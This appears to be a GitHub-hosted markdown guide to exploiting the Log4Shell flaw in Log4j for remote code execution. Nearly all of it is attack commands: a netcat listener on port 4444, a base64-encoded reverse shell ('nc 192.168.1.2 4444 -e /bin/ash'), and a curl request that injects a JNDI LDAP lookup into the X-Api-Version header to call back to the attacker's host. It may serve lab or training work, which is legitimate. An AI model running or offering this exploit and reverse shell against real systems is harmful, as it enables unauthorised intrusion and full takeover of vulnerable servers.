Skip to content

Latest commit

 

History

History
27 lines (22 loc) · 873 Bytes

File metadata and controls

27 lines (22 loc) · 873 Bytes

Exploiting Log4Shell to achieve Remote Code Execution (RCE)

Prerequisites

  • A vulnerable application that uses a vulnerable version of Log4j (e.g., versions prior to 2.15.0).
  • JNDIExploit tool to set up a malicious LDAP server.
  • Netcat (nc) installed on the attacker's machine to receive the reverse shell.

Execute netcat listener

On your machine (attacker's machine), run the following command to start a netcat listener

nc -lvnp 4444

Inverse Shell Payload

Wait for the listener to be ready on local port 4444

nc -lvnp 4444

Generate the base64 encoded payload for a reverse shell using the following command:

echo 'nc 192.168.1.2 4444 -e /bin/ash' | base64
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.1.2:1389/Basic/Command/Base64/bmMgMTkyLjE2OC4xLjIgNDQ0NCAtZSAvYmluL2FzaAo=}'